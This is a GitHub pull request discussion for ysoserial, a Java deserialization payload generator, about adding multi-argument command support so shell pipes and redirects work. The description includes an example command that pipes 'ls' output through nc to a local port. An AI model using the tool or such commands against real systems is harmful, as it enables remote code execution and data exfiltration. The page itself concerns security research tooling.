-
Notifications
You must be signed in to change notification settings - Fork 1.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add arguments support for many payloads #72
Conversation
This issue is related to #71 |
Thanks for the PR. This is good stuff. A couple comments:
|
Thanks for the feedback.
|
I added support for Please note i created an abstract class ( |
Thanks. Merged into multiargs branch to fix some broken tests and expand support to other payloads. |
Will keep building on this under PR #74. Thanks again. |
This merge requests adds the support for multiple arguments.
It is currently impossible to use operators like <, > or | since ysoserial uses java.lang.Runtime.exec(String command) which splits a command with spaces.
A command such as
sh -c "ls | nc 127.0.0.1 8000"
is interpreted as["sh", "-c", "\"ls", "|", "nc" "127.0.0.1", "8000"]
.This merge request modifies the way the arguments are passed to
exec
by adding thearguments
parameter.It is now possible to call ysoserial this way :
This will generate a working payload. I also took the liberty of using
StringEscapeUtils
to escape the command in ysoserial.payloads.util.Gadgets.Please let me know if i should cleanup some stuff if you want to accept the pull request.